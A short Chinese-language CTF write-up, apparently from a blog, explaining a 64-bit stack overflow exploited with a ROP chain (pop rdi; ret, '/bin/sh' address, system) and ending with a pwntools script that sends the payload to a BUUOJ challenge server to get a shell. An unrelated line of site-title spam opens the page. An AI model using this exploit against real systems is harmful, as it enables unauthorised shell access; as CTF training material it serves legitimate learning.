河北地矿建设集团官方网站昆山市网站建设
-
覆盖缓冲区和 RBP:
使用 128 + 8 字节覆盖buf和rbp。 -
构造 ROP 链:
-
pop rdi; ret地址: 将pop rdi; ret指令的地址写入返回地址位置。 -
/bin/sh地址: 将/bin/sh字符串的地址压入栈顶,作为system函数的参数。 -
system地址: 将system函数的地址写入返回地址位置。
-
-
执行流程:
-
子函数返回到
pop rdi; ret指令,该指令将/bin/sh地址出栈并存入rdi寄存器。 -
然后程序返回到
system函数,执行system("/bin/sh")。
-
一句话总结:
通过覆盖缓冲区和 RBP,构造 ROP 链(pop rdi; ret → /bin/sh 地址 → system 地址),使程序执行 system("/bin/sh"),从而获取 shell。






from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',25669)payload=b'a'*(0x88)+p64(0x004006b3)+p64(0x00600A90)+p64(0x004004C0)
p.sendline(payload)
p.interactive()
